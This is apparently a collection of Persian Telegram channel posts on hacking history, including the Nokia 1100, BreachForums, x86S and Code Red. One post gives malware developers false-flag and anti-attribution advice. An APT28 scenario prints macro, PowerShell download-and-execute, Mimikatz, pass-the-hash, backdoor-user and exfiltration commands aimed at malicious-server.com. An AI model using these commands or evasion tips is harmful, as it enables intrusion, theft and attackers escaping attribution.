اگر کسی از دوستان مایل هست این داستان ها را به صورت ویدئو درست کنه و همکاری با ما داشته باشه با ما در ارتباط باشه :
@TryHackBoxStorybot
@TryHackBoxStorybot
📲 تلفن همراه برای رهگیری پیامک های دیگران.
• آمارهای جالبی وجود دارد که پرفروش ترین گوشی های موبایل تاریخ را نشان می دهد. رتبه اول این آمار را نوکیا 1100 به خود اختصاص داده است و مجموع فروش این گوشی از مرز 250 میلیون عبور کرده است. این یک داستان خنده دار است که در سال 2009 اتفاق افتاد ...
• در حین بررسی یک پرونده کلاهبرداری از طریق پست در هلند، پلیس به یک واقعیت بسیار جالب برخورد کرد - یک خریدار ناشناس برای یک گوشی نوکیا 1100 25 هزار یورو پرداخت کرد. و قیمت گوشی کمتر از 100 یورو بود.
• در تلاش برای یافتن اینکه چرا هکرها حاضرند برای یک دستگاه ارزان و به ظاهر غیرقابل توجه پول زیادی بپردازند، پلیس به تحقیقات جهانی پیشرفته Ultrascan مراجعه کرد. کارشناسان Ultrascan دریافتهاند که هکرها جذب همه دستگاههای نوکیا 1100 نمیشوند، بلکه فقط دستگاههایی که در کارخانه نوکیا در بوخوم (آلمان) ساخته شدهاند جذب میشوند.
• این سری از دستگاه ها به دلیل مشکلاتی در نرم افزار قدیمی ایجاد شده در سال 2002 معیوب در نظر گرفته شدند. به دلیل همین "نقص"، هکرها یاد گرفتند که پیام های SMS دیگران را رهگیری کنند، به ویژه کدهای یکبار مصرف برای تراکنش های بانکی - mTAN (موبایل شماره احراز هویت تراکنش)، که بانک های اروپایی از طریق پیامک برای مشتریان خود ارسال می کنند.
• بنابراین، معلوم می شود که هکرها فقط مجبور بودند این گوشی را (بدون هیچ گونه چشمک زدنی) به یک sniffer مانند #WireShark وصل کنند و ترفند در کیف است - می توانید پیامک را رهگیری کنید و سپس پول را به حساب خود منتقل کنید.
• جالب است بدانید که در زمان وقوع این حادثه (2009) ، نوکیا بیش از 200 میلیون نسخه از نوکیا 1100 و مدل های مبتنی بر آن را در سراسر جهان فروخت، اما تعداد دستگاه های آسیب پذیر ناشناخته باقی مانده است...
✍ تهیه شده : TryHackBoxStory
@TryHackBoxStory
• آمارهای جالبی وجود دارد که پرفروش ترین گوشی های موبایل تاریخ را نشان می دهد. رتبه اول این آمار را نوکیا 1100 به خود اختصاص داده است و مجموع فروش این گوشی از مرز 250 میلیون عبور کرده است. این یک داستان خنده دار است که در سال 2009 اتفاق افتاد ...
• در حین بررسی یک پرونده کلاهبرداری از طریق پست در هلند، پلیس به یک واقعیت بسیار جالب برخورد کرد - یک خریدار ناشناس برای یک گوشی نوکیا 1100 25 هزار یورو پرداخت کرد. و قیمت گوشی کمتر از 100 یورو بود.
• در تلاش برای یافتن اینکه چرا هکرها حاضرند برای یک دستگاه ارزان و به ظاهر غیرقابل توجه پول زیادی بپردازند، پلیس به تحقیقات جهانی پیشرفته Ultrascan مراجعه کرد. کارشناسان Ultrascan دریافتهاند که هکرها جذب همه دستگاههای نوکیا 1100 نمیشوند، بلکه فقط دستگاههایی که در کارخانه نوکیا در بوخوم (آلمان) ساخته شدهاند جذب میشوند.
• این سری از دستگاه ها به دلیل مشکلاتی در نرم افزار قدیمی ایجاد شده در سال 2002 معیوب در نظر گرفته شدند. به دلیل همین "نقص"، هکرها یاد گرفتند که پیام های SMS دیگران را رهگیری کنند، به ویژه کدهای یکبار مصرف برای تراکنش های بانکی - mTAN (موبایل شماره احراز هویت تراکنش)، که بانک های اروپایی از طریق پیامک برای مشتریان خود ارسال می کنند.
• بنابراین، معلوم می شود که هکرها فقط مجبور بودند این گوشی را (بدون هیچ گونه چشمک زدنی) به یک sniffer مانند #WireShark وصل کنند و ترفند در کیف است - می توانید پیامک را رهگیری کنید و سپس پول را به حساب خود منتقل کنید.
• جالب است بدانید که در زمان وقوع این حادثه (2009) ، نوکیا بیش از 200 میلیون نسخه از نوکیا 1100 و مدل های مبتنی بر آن را در سراسر جهان فروخت، اما تعداد دستگاه های آسیب پذیر ناشناخته باقی مانده است...
✍ تهیه شده : TryHackBoxStory
@TryHackBoxStory
👍5❤3👏1
This media is not supported in your browser
VIEW IN TELEGRAM
شب چله همگی خجسته باد
داستان واقعی... هکر Pompompurin
• BreachForums به عنوان بزرگترین انجمن هکری در زمینه نشت دادهها شناخته میشد و این انجمن توسط هکرها و باجگیرها برای «نشت» اطلاعات استفاده میشد. کنور برایان فیتزپاتریک (Pompompurin) مالک و بنیانگذار این سایت بود.
• در بهار سال ۲۰۲۳، این انجمن توسط مقامات قانونی تعطیل شد و Pompompurin که ۲۰ سال داشت، دستگیر شد. بعداً مقامات اعلام کردند که توانستهاند به پایگاه داده این سایت دسترسی پیدا کنند و در ژوئن، دامنههای BreachForums و سایت شخصی Fitzpatrick مصادره شدند.
• ما یک مقاله کوتاه را ترجمه کردهایم که شامل تاریخچه شکلگیری BreachForums و توضیح روشهای مختلف OSINT است که مقامات قانونی برای پیدا کردن مدیر سایت و دیگر اطلاعات از آنها استفاده کردند...
مطالعه
@TryHackBoxStory
• BreachForums به عنوان بزرگترین انجمن هکری در زمینه نشت دادهها شناخته میشد و این انجمن توسط هکرها و باجگیرها برای «نشت» اطلاعات استفاده میشد. کنور برایان فیتزپاتریک (Pompompurin) مالک و بنیانگذار این سایت بود.
• در بهار سال ۲۰۲۳، این انجمن توسط مقامات قانونی تعطیل شد و Pompompurin که ۲۰ سال داشت، دستگیر شد. بعداً مقامات اعلام کردند که توانستهاند به پایگاه داده این سایت دسترسی پیدا کنند و در ژوئن، دامنههای BreachForums و سایت شخصی Fitzpatrick مصادره شدند.
• ما یک مقاله کوتاه را ترجمه کردهایم که شامل تاریخچه شکلگیری BreachForums و توضیح روشهای مختلف OSINT است که مقامات قانونی برای پیدا کردن مدیر سایت و دیگر اطلاعات از آنها استفاده کردند...
مطالعه
@TryHackBoxStory
❤6👍1
دوستان ما قصد داریم این داستان ها رو به صورت پادکست قرار بدیم تا راحت تر باشید گوش بدید در هرجایی که هستید و فرصت یا موقعیت خوندن نیست از علاقه مندان درخواست می شود در صورت تمایل به درست کردن پادکست در این خصوص به ما پیام دهند :
@TryHackBoxStorybot
@TryHackBoxStorybot
❤9👍3
قوانین APT ها برای توسعه بدافزار چیه؟
یکی از دوستان داخل لینکدین پستی در خصوص سیمبول فایل ها گذاشته بود که به هنگام کامپایل یک قطعه کد توسط visual studio این symbol فایل ایجاد میشه و پیشنهاد کرده بودند که برای اینکه کار تحلیل گران بدافزار و ... رو سخت تر کنیم بهتره که این مورد رو پاک کنیم.
یادم اومد چند سال پیش که تماما تمرکزم روی بدافزار و سندباکس بود، چندتا الزام یا پیشنیاز برای توسعه بدافزار وجود داشت که هر توسعه دهنده ای باید رعایت میکرد ، از این جهت چندتاشون رو اینجا تیتر وار میگم که شما هم گوشه ذهنتون داشته باشید
موارد بسیاره، و من تنها به دو سه مورد ابتدایی ولی مهمش اشاره میکنم.
شما باید فارنزیک سیستم عاملی که روش کد می زنید رو کامل بدونید (ویندوز، لینوکس و ..) و براساس اون بدافزار تون رو توسعه بدید ... به طور کلی ویندوز کلی Artifact از شما در فایل های کامپایل شدتون به جا می زاره که در فاز ردیابی مهاجم استفاده خواهد شد.
مثلا هر زبانی روی سیستم تون نصب باشه، تو متادیتا های کامپایل کد بدافزار تون ی اثری ازش می افته. یک راه حلش این بود که روی سیستم clean تون زبان چینی یا ... نصب کنید.
کدهایی که توسعه می دید رو با کامنت های چینی یا هر زبانی غیر از فارسی بذارید.
اطلاعات مربوط به تایم زون سیستم تون روی تهران نباشه.
حساب کاربری تون یا اسامی که استفاده می کنید فارسی نباشه. مثلا mao Zedong (رهبر پیشین چین) گزینه خوبیه :)
و صد البته که روی ماشین اصلی تون که متصل به اینترنت هم هست کد توسعه نمی دید.
و از اون مهم تر تحت هیچ شرایطی ماشین رو به اینترنت وصل نمی کنید و محیط توسعه تون هم بایستی داخل یک vm باشه.
در مورد Best practice برای ماشین های توسعه دهنده بدافزار هم اینکه هیچ وقت به اینترنت وصل نشن و تمام اپدیت ها آفلاین صورت بگیره.
و از نوت پد یا vi برای توسعه استفاده کنید ، کلا از IDE ها دوری کنید!
به هر حال توسعه بدافزار در دنیای واقعی الزامات بسیاری رو داره که بایستی حتما رعایت کنید.
و خیلی هاش رو هم نمیشه گفت! مثل سرورهای فرماندهی و کنترل تون باید کجا باشن که اگر لیک شدن به شما نرسن، یا مدارک احراز هویتی تون برای آماده سازی محیط باید از کجا و به چه شکل تهیه بشه و....
✍ منبع : os security
@TryHackBoxStory
یکی از دوستان داخل لینکدین پستی در خصوص سیمبول فایل ها گذاشته بود که به هنگام کامپایل یک قطعه کد توسط visual studio این symbol فایل ایجاد میشه و پیشنهاد کرده بودند که برای اینکه کار تحلیل گران بدافزار و ... رو سخت تر کنیم بهتره که این مورد رو پاک کنیم.
یادم اومد چند سال پیش که تماما تمرکزم روی بدافزار و سندباکس بود، چندتا الزام یا پیشنیاز برای توسعه بدافزار وجود داشت که هر توسعه دهنده ای باید رعایت میکرد ، از این جهت چندتاشون رو اینجا تیتر وار میگم که شما هم گوشه ذهنتون داشته باشید
موارد بسیاره، و من تنها به دو سه مورد ابتدایی ولی مهمش اشاره میکنم.
شما باید فارنزیک سیستم عاملی که روش کد می زنید رو کامل بدونید (ویندوز، لینوکس و ..) و براساس اون بدافزار تون رو توسعه بدید ... به طور کلی ویندوز کلی Artifact از شما در فایل های کامپایل شدتون به جا می زاره که در فاز ردیابی مهاجم استفاده خواهد شد.
مثلا هر زبانی روی سیستم تون نصب باشه، تو متادیتا های کامپایل کد بدافزار تون ی اثری ازش می افته. یک راه حلش این بود که روی سیستم clean تون زبان چینی یا ... نصب کنید.
کدهایی که توسعه می دید رو با کامنت های چینی یا هر زبانی غیر از فارسی بذارید.
اطلاعات مربوط به تایم زون سیستم تون روی تهران نباشه.
حساب کاربری تون یا اسامی که استفاده می کنید فارسی نباشه. مثلا mao Zedong (رهبر پیشین چین) گزینه خوبیه :)
و صد البته که روی ماشین اصلی تون که متصل به اینترنت هم هست کد توسعه نمی دید.
و از اون مهم تر تحت هیچ شرایطی ماشین رو به اینترنت وصل نمی کنید و محیط توسعه تون هم بایستی داخل یک vm باشه.
در مورد Best practice برای ماشین های توسعه دهنده بدافزار هم اینکه هیچ وقت به اینترنت وصل نشن و تمام اپدیت ها آفلاین صورت بگیره.
و از نوت پد یا vi برای توسعه استفاده کنید ، کلا از IDE ها دوری کنید!
به هر حال توسعه بدافزار در دنیای واقعی الزامات بسیاری رو داره که بایستی حتما رعایت کنید.
و خیلی هاش رو هم نمیشه گفت! مثل سرورهای فرماندهی و کنترل تون باید کجا باشن که اگر لیک شدن به شما نرسن، یا مدارک احراز هویتی تون برای آماده سازی محیط باید از کجا و به چه شکل تهیه بشه و....
✍ منبع : os security
@TryHackBoxStory
👍6🔥1
📌 بخش اول: تغییرات ISA پردازندههای اینتل در معماری x86s
معماری x86 برای سالها در قلب سیستمهای کامپیوتری بوده است و این معماری با نسخههای بهبودیافته در پردازندههای اینتل مورد استفاده قرار گرفته است. در این مقاله، به بررسی معماری جدیدی که اینتل تحت عنوان x86S ارائه داده میپردازیم. X86S یک مجموعه دستورالعملهای معماری جدید و کاهشیافته است که از بخشهای قدیمی و بدون استفاده معماری سنتی x86 خلاص میشود و طراحی آن برای مدرنسازی و کارایی بیشتر معماری پردازندهها صورت گرفته است.
معماری ISA چیست و چرا نیاز به بهینهسازی دارد؟ معماری مجموعه دستورالعملها یا همان Instruction Set Architecture، مجموعهای از دستورالعملهاست که پردازندهها برای اجرای برنامهها و تعامل با سختافزار از آن استفاده میکنند. معماری x86 با گذشت زمان بخشهای مختلفی را برای سازگاری با سیستمهای قدیمیتر اضافه کرده که باعث پیچیدگی، افزایش مصرف انرژی و کاهش کارایی میشود. اینتل با ارائه x86S قصد دارد تا با حذف قابلیتهای غیرضروری و قدیمی، معماری x86 را بهبود بخشیده و بهینهسازی کند.
✅ ویژگیهای x86S: معماری x86S با کاهش بخشهای قدیمی و سازگاریهای اضافی، از سادهتر شدن کدهای اجرایی، کاهش پیچیدگیها و مصرف منابع بهره میبرد. این تغییرات شامل موارد زیر است:
➖ حالتهای اجرایی قدیمی: x86S از حالتهای اجرایی قدیمی که در معماریهای پیشین وجود داشتند، همچون حالت واقعی 16 بیتی و حالت محافظتشده 32 بیتی صرفنظر کرده و پردازنده را به طور دائم در حالت صفحهبندی شده قرار میدهد. در نتیجه، تنها حالت 64 بیتی و حالت سازگاری 32 بیتی باقی میماند.
➖ حذف حلقههای امنیتی پایینتر (Ring 1 و Ring 2): حلقههای امنیتی 1 و 2 در گذشته برای جدا کردن سطوح مختلف دسترسی در سیستمعاملها استفاده میشد، اما امروزه بسیاری از سیستمعاملها از این حلقهها استفاده نمیکنند. حذف این حلقهها باعث کاهش پیچیدگی و بهبود کارایی پردازنده میشود.
➖ حذف حالتهای 32 بیتی و vm86 در Ring 0: حالت vm86 برای پشتیبانی از برنامههای قدیمی DOS و 16 بیتی طراحی شده بود. با حذف این حالتها، پردازنده از پشتیبانی مستقیم برنامههای قدیمی بینیاز میشود و اجرای برنامههای مدرن بهینهتر خواهد شد.
➖ حذف MTRRهای ثابت: این حذف باعث میشود که پردازنده به مدیریت پویا و کارآمدتری از حافظه دسترسی پیدا کند و پردازنده تنها به ساختارهای مدیریت حافظه پویا متکی باشد.
➖ حذف I/O سطح کاربر و رشتههای I/O: با حذف این موارد، پردازنده نیازمند پشتیبانی از دستورات سطح پایین ورودی و خروجی که در برنامههای قدیمی استفاده میشدند، نیست. این کار باعث بهبود کارایی و امنیت پردازنده میشود.
➖ حذف و بهینهسازی کنترلها و بیتهای اضافی در CR0: برخی از کنترلهای اضافی در CR0، مانند Write-Through و بیتهای کنترل قدیمی FPU که برای پردازندههای اولیه طراحی شده بودند، حذف میشوند و این باعث کاهش سربار پردازنده و بهینهسازی کنترلها میشود.
➖ حذف و بهینهسازی مکانیزم وقفهها و کنترلها: معماری x86S تنها از x2APIC برای کنترلکننده وقفه استفاده میکند و از XAPIC و کنترلرهای وقفه قدیمی پشتیبانی نمیکند. این تغییرات باعث کاهش مصرف انرژی و بهبود کارایی پردازنده در سیستمهای چندپردازشی میشود.
➖ پشتیبانی محدود از معماری Segmentation: با وجود محدود شدن دسترسی به سگمنتهای تقسیمبندی در حالت 64 بیتی، همچنان دسترسی محدود به FS و GS برای کاربردهای خاص پشتیبانی میشود. همچنین، برخی از ویژگیهای تقسیمبندی مانند تغییر حلقهها در دستورهای فراخوانی دوربرد (far call) حذف شده است.
➖ دستورات محدود برای کنترل حالتهای اجرایی: در معماری x86S، پردازنده نمیتواند حالتهای NX یا SYSCALL یا حالت 64 بیتی را در MSR EFER غیرفعال کند که باعث افزایش امنیت پردازنده میشود.
@TryHackBoxStory
معماری x86 برای سالها در قلب سیستمهای کامپیوتری بوده است و این معماری با نسخههای بهبودیافته در پردازندههای اینتل مورد استفاده قرار گرفته است. در این مقاله، به بررسی معماری جدیدی که اینتل تحت عنوان x86S ارائه داده میپردازیم. X86S یک مجموعه دستورالعملهای معماری جدید و کاهشیافته است که از بخشهای قدیمی و بدون استفاده معماری سنتی x86 خلاص میشود و طراحی آن برای مدرنسازی و کارایی بیشتر معماری پردازندهها صورت گرفته است.
معماری ISA چیست و چرا نیاز به بهینهسازی دارد؟ معماری مجموعه دستورالعملها یا همان Instruction Set Architecture، مجموعهای از دستورالعملهاست که پردازندهها برای اجرای برنامهها و تعامل با سختافزار از آن استفاده میکنند. معماری x86 با گذشت زمان بخشهای مختلفی را برای سازگاری با سیستمهای قدیمیتر اضافه کرده که باعث پیچیدگی، افزایش مصرف انرژی و کاهش کارایی میشود. اینتل با ارائه x86S قصد دارد تا با حذف قابلیتهای غیرضروری و قدیمی، معماری x86 را بهبود بخشیده و بهینهسازی کند.
✅ ویژگیهای x86S: معماری x86S با کاهش بخشهای قدیمی و سازگاریهای اضافی، از سادهتر شدن کدهای اجرایی، کاهش پیچیدگیها و مصرف منابع بهره میبرد. این تغییرات شامل موارد زیر است:
➖ حالتهای اجرایی قدیمی: x86S از حالتهای اجرایی قدیمی که در معماریهای پیشین وجود داشتند، همچون حالت واقعی 16 بیتی و حالت محافظتشده 32 بیتی صرفنظر کرده و پردازنده را به طور دائم در حالت صفحهبندی شده قرار میدهد. در نتیجه، تنها حالت 64 بیتی و حالت سازگاری 32 بیتی باقی میماند.
➖ حذف حلقههای امنیتی پایینتر (Ring 1 و Ring 2): حلقههای امنیتی 1 و 2 در گذشته برای جدا کردن سطوح مختلف دسترسی در سیستمعاملها استفاده میشد، اما امروزه بسیاری از سیستمعاملها از این حلقهها استفاده نمیکنند. حذف این حلقهها باعث کاهش پیچیدگی و بهبود کارایی پردازنده میشود.
➖ حذف حالتهای 32 بیتی و vm86 در Ring 0: حالت vm86 برای پشتیبانی از برنامههای قدیمی DOS و 16 بیتی طراحی شده بود. با حذف این حالتها، پردازنده از پشتیبانی مستقیم برنامههای قدیمی بینیاز میشود و اجرای برنامههای مدرن بهینهتر خواهد شد.
➖ حذف MTRRهای ثابت: این حذف باعث میشود که پردازنده به مدیریت پویا و کارآمدتری از حافظه دسترسی پیدا کند و پردازنده تنها به ساختارهای مدیریت حافظه پویا متکی باشد.
➖ حذف I/O سطح کاربر و رشتههای I/O: با حذف این موارد، پردازنده نیازمند پشتیبانی از دستورات سطح پایین ورودی و خروجی که در برنامههای قدیمی استفاده میشدند، نیست. این کار باعث بهبود کارایی و امنیت پردازنده میشود.
➖ حذف و بهینهسازی کنترلها و بیتهای اضافی در CR0: برخی از کنترلهای اضافی در CR0، مانند Write-Through و بیتهای کنترل قدیمی FPU که برای پردازندههای اولیه طراحی شده بودند، حذف میشوند و این باعث کاهش سربار پردازنده و بهینهسازی کنترلها میشود.
➖ حذف و بهینهسازی مکانیزم وقفهها و کنترلها: معماری x86S تنها از x2APIC برای کنترلکننده وقفه استفاده میکند و از XAPIC و کنترلرهای وقفه قدیمی پشتیبانی نمیکند. این تغییرات باعث کاهش مصرف انرژی و بهبود کارایی پردازنده در سیستمهای چندپردازشی میشود.
➖ پشتیبانی محدود از معماری Segmentation: با وجود محدود شدن دسترسی به سگمنتهای تقسیمبندی در حالت 64 بیتی، همچنان دسترسی محدود به FS و GS برای کاربردهای خاص پشتیبانی میشود. همچنین، برخی از ویژگیهای تقسیمبندی مانند تغییر حلقهها در دستورهای فراخوانی دوربرد (far call) حذف شده است.
➖ دستورات محدود برای کنترل حالتهای اجرایی: در معماری x86S، پردازنده نمیتواند حالتهای NX یا SYSCALL یا حالت 64 بیتی را در MSR EFER غیرفعال کند که باعث افزایش امنیت پردازنده میشود.
@TryHackBoxStory
👍1
⏲ سه سناریو واقعی از نفوذهای گروه APT28
🔹 سناریو یک: نفوذ به شبکه وزارت امور خارجه آلمان با هدف جاسوسی از ارتباطات دولتی با بدافزار Seduploader
🔹 هدف:
✅نفوذ به سیستمهای دیپلماتیک برای سرقت اطلاعات حساس
✅استقرار بدافزار برای مانیتورینگ و جمعآوری دیتاها
✅حرکت جانبی (Lateral Movement) برای گسترش حضور تو شبکه
🔹 گام 1: مهندسی اجتماعی و نفوذ اولیه
گروه APT28 از Spear Phishing برای نفوذ اولیه تو این سناریو استفاده کرده. یه ایمیل رسمی فیک به کارمندا ارسال شده که به نظر میرسیده از طرف یه سازمان بینالمللی معتبر مثل EU External Action Service (EEAS) باشه.
فایل آلوده (Macro-Enabled Document)
ایمیل شامل یه فایل Word آلوده بوده که از ماکرو VBA مخرب استفاده میکرده. بعد از باز شدن فایل، ماکرو فعال میشده و PowerShell رو برای دانلود بدافزار اجرا میکرده:
🔹 گام دو: دانلود و پیادهسازی بدافزار Seduploader
فایل update.ps1 که یه اسکریپت پاورشل رمزگذاریشده بوده؛ بدافزار اصلی رو دانلود میکرده:
ویژگیهای بدافزار Seduploader
- بررسی سیستم: اطلاعات اولیه (مثل نسخه ویندوز، یوزرنیم، پردازنده) رو جمعآوری میکنه.
- اجرای دستورات از راه دور (Remote Command Execution)
- ثبت کلیدهای زدهشده (Keylogging)
- آپلود و دانلود فایلهای مخرب
- استفاده از DNS Tunneling برای ارسال اطلاعات به سرور C2
ارتباط با سرور C2 با استفاده از DNS Tunneling
بدافزار Seduploader از ریکوئستهای DNS برای ارسال اطلاعات به سرور C2 استفاده میکنه:
دیتاها به صورت Base64 یا XOR Encoding انکریپت شدهان.
🔹 گام سه: حرکت جانبی (Lateral Movement)
یک. Credential Dumping با استفاده از Mimikatz
بعد از استقرار اولیه، APT28 از ابزار Mimikatz برای سرقت هشهای رمزعبور استفاده کرده:
دو. Pass-the-Hash (PTH) برای دسترسی به سایر سیستمها
اعضای APT28 با استفاده از هشها به سیستمهای دیگه متصل میشدن:
سه. Pivoting با PowerShell Empire
با دسترسی به یه سیستم جدید، برای ایجاد ارتباط مستقیم، از PowerShell Empire استفاده میشده:
🔹 گام چهار: استخراج دیتاها (Exfiltration)
ارسال دیتاهای سرقتشده با پاورشل
🔹 نتیجه:
اعضای گروه APT28 موفق به استخراج اطلاعات حساس دیپلماتیک شدن.
#Cyber_Warfar
@TryHackBoxStory
🔹 سناریو یک: نفوذ به شبکه وزارت امور خارجه آلمان با هدف جاسوسی از ارتباطات دولتی با بدافزار Seduploader
🔹 هدف:
✅نفوذ به سیستمهای دیپلماتیک برای سرقت اطلاعات حساس
✅استقرار بدافزار برای مانیتورینگ و جمعآوری دیتاها
✅حرکت جانبی (Lateral Movement) برای گسترش حضور تو شبکه
🔹 گام 1: مهندسی اجتماعی و نفوذ اولیه
گروه APT28 از Spear Phishing برای نفوذ اولیه تو این سناریو استفاده کرده. یه ایمیل رسمی فیک به کارمندا ارسال شده که به نظر میرسیده از طرف یه سازمان بینالمللی معتبر مثل EU External Action Service (EEAS) باشه.
فایل آلوده (Macro-Enabled Document)
ایمیل شامل یه فایل Word آلوده بوده که از ماکرو VBA مخرب استفاده میکرده. بعد از باز شدن فایل، ماکرو فعال میشده و PowerShell رو برای دانلود بدافزار اجرا میکرده:
Sub AutoOpen()
Dim objShell As Object
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -File C:\Users\Public\update.ps1"
End Sub
🔹 گام دو: دانلود و پیادهسازی بدافزار Seduploader
فایل update.ps1 که یه اسکریپت پاورشل رمزگذاریشده بوده؛ بدافزار اصلی رو دانلود میکرده:
$download = New-Object System.Net.WebClient
$url = "https://malicious-server.com/payload.exe"
$path = "$env:APPDATA\Microsoft\Windows\update.exe"
$download.DownloadFile($url, $path)
Start-Process -FilePath $path
ویژگیهای بدافزار Seduploader
- بررسی سیستم: اطلاعات اولیه (مثل نسخه ویندوز، یوزرنیم، پردازنده) رو جمعآوری میکنه.
- اجرای دستورات از راه دور (Remote Command Execution)
- ثبت کلیدهای زدهشده (Keylogging)
- آپلود و دانلود فایلهای مخرب
- استفاده از DNS Tunneling برای ارسال اطلاعات به سرور C2
ارتباط با سرور C2 با استفاده از DNS Tunneling
بدافزار Seduploader از ریکوئستهای DNS برای ارسال اطلاعات به سرور C2 استفاده میکنه:
nslookup -type=TXT x7c9.malicious-domain.com
دیتاها به صورت Base64 یا XOR Encoding انکریپت شدهان.
🔹 گام سه: حرکت جانبی (Lateral Movement)
یک. Credential Dumping با استفاده از Mimikatz
بعد از استقرار اولیه، APT28 از ابزار Mimikatz برای سرقت هشهای رمزعبور استفاده کرده:
privilege::debug
sekurlsa::logonpasswords
دو. Pass-the-Hash (PTH) برای دسترسی به سایر سیستمها
اعضای APT28 با استفاده از هشها به سیستمهای دیگه متصل میشدن:
psexec \\target-system -u administrator -p NTLMHASH cmd.exe
سه. Pivoting با PowerShell Empire
با دسترسی به یه سیستم جدید، برای ایجاد ارتباط مستقیم، از PowerShell Empire استفاده میشده:
Invoke-PsExec -ComputerName target-system -Command "net user /add backdoor P@ssw0rd"
🔹 گام چهار: استخراج دیتاها (Exfiltration)
ارسال دیتاهای سرقتشده با پاورشل
$bytes = [System.IO.File]::ReadAllBytes("C:\sensitive_data.pdf")
Invoke-WebRequest -Uri "https://malicious-server.com/upload" -Method POST -Body $bytes🔹 نتیجه:
اعضای گروه APT28 موفق به استخراج اطلاعات حساس دیپلماتیک شدن.
#Cyber_Warfar
@TryHackBoxStory
👍10
دوستان کسی علاقه مند هست پست های مربوط به داستان های هک بزاره ؟
به ما پیام بده ادمینش کنیم :
@TryHackBoxStorybot
به ما پیام بده ادمینش کنیم :
@TryHackBoxStorybot
👍3
🪱 کد رد (Code Red)
• صبح روز ۱۵ ژوئیه ۲۰۰۱: تحلیلگران شرکت eEye Digital Security در حالی که آخرین جرعههای نوشیدنی گازدار محبوبشان، Code Red Mountain Dew، را مینوشیدند، با هشدارهایی درباره گسترش سریع یک کرم کامپیوتری جدید مواجه شدند. همین موضوع باعث شد نام این بدافزار را به یاد نوشیدنی مورد علاقهشان، «کد رد» بگذارند. این نام برای بسیاری از قربانیان کرم به یاد ماندنی شد، چرا که در عرض چند روز، کد رد اینترنت را تسخیر کرد.
• چگونگی گسترش کرم: بعدها مشخص شد که گسترش این کرم از ۱۳ ژوئیه ۲۰۰۱ آغاز شده بود. این بدافزار از یک آسیبپذیری در وبسرور Internet Information Server (IIS) استفاده میکرد که مربوط به سرریز بافر (Buffer Overflow) بود. اگرچه مایکروسافت یک ماه قبل از این اتفاق، وصلهای برای رفع این آسیبپذیری منتشر کرده بود، اما بسیاری از مدیران سیستمها بهموقع این بهروزرسانی را نصب نکرده بودند. همین موضوع دلیل اصلی شیوع گسترده این کرم شد.
• آسیبپذیری مورد استفاده: کرم اینترنتی از یک آسیبپذیری ساده در یکی از ماژولهای وبسرور، بهطور خاص در بخش افزونهایندکس کردن دادهها، سوءاستفاده میکرد. در کتابخانه idq.dll یک اشکال مربوط به سرریز بافر وجود داشت. این آسیبپذیری با شناسه MS01-33 شناخته میشد. با استانداردهای امروزی، این یک اشکال بسیار ساده است که میتوان با ارسال یک درخواست بسیار طولانی به سرور، آن را مورد سوءاستفاده قرار داد. مثلاً:
در این درخواست، دادههای بعد از کاراکترهای N به عنوان دستورات تفسیر و اجرا میشوند. تمام کد مخرب در خود درخواست قرار دارد، بنابراین اگر سرور آسیبپذیر باشد، بلافاصله و با احتمال ۱۰۰٪ آلوده میشود.
• رفتار کرم: رفتار کرم بسته به تاریخ روز متفاوت بود. از روز ۱ تا ۱۹ هر ماه، کرم فقط به گسترش خود میپرداخت: با اسکن سرورهای اینترنتی، درخواستهای مخرب را به آنها ارسال میکرد. برای این کار، روی هر سیستم آلوده، ۹۹ thread موازی ایجاد میشد که هر کدام لیستی از کامپیوترهای جدید برای آلودهسازی را تولید میکردند. از روز ۲۰ تا ۲۷ هر ماه، کرم حملات DDoS را علیه لیستی از آدرسهای IP که در کد آن تعبیه شده بود، انجام میداد. یکی از این آدرسها، مربوط به وبسایت کاخ سفید بود.
• اوج شیوع: اگرچه گسترش کرم در ۱۵ ژوئیه ۲۰۰۱ گزارش شد، اما اوج آن در ۱۹ ژوئیه اتفاق افتاد، زمانی که بیش از ۳۵۹ هزار سرور آلوده شده بودند. بعدها، با نصب بهروزرسانیهای امنیتی مایکروسافت توسط مدیران سیستمها، شیوع کرم کاهش یافت. البته نسخه دوم کرم با نام Code Red II نیز ظهور کرد که از کاراکترهای X به جای N در درخواستهای خود استفاده میکرد.
• نتیجهگیری: از این ماجرا دو درس مهم میتوان گرفت. اول اینکه نصب بهموقع وصلههای امنیتی که ۲۴ سال پیش اهمیت زیادی داشت، هنوز هم موضوعی حیاتی است. دوم اینکه خوششانسی بزرگی بود که کد رد فایلها را رمزنگاری نمیکرد، پسوردها را نمیدزدید یا دادهها را نابود نمیکرد. اگر هدف مهاجمان مخربتر بود، عواقب این حمله میتوانست بسیار فاجعهبارتر باشد.
@TryHackBoxStory
• صبح روز ۱۵ ژوئیه ۲۰۰۱: تحلیلگران شرکت eEye Digital Security در حالی که آخرین جرعههای نوشیدنی گازدار محبوبشان، Code Red Mountain Dew، را مینوشیدند، با هشدارهایی درباره گسترش سریع یک کرم کامپیوتری جدید مواجه شدند. همین موضوع باعث شد نام این بدافزار را به یاد نوشیدنی مورد علاقهشان، «کد رد» بگذارند. این نام برای بسیاری از قربانیان کرم به یاد ماندنی شد، چرا که در عرض چند روز، کد رد اینترنت را تسخیر کرد.
• چگونگی گسترش کرم: بعدها مشخص شد که گسترش این کرم از ۱۳ ژوئیه ۲۰۰۱ آغاز شده بود. این بدافزار از یک آسیبپذیری در وبسرور Internet Information Server (IIS) استفاده میکرد که مربوط به سرریز بافر (Buffer Overflow) بود. اگرچه مایکروسافت یک ماه قبل از این اتفاق، وصلهای برای رفع این آسیبپذیری منتشر کرده بود، اما بسیاری از مدیران سیستمها بهموقع این بهروزرسانی را نصب نکرده بودند. همین موضوع دلیل اصلی شیوع گسترده این کرم شد.
• آسیبپذیری مورد استفاده: کرم اینترنتی از یک آسیبپذیری ساده در یکی از ماژولهای وبسرور، بهطور خاص در بخش افزونهایندکس کردن دادهها، سوءاستفاده میکرد. در کتابخانه idq.dll یک اشکال مربوط به سرریز بافر وجود داشت. این آسیبپذیری با شناسه MS01-33 شناخته میشد. با استانداردهای امروزی، این یک اشکال بسیار ساده است که میتوان با ارسال یک درخواست بسیار طولانی به سرور، آن را مورد سوءاستفاده قرار داد. مثلاً:
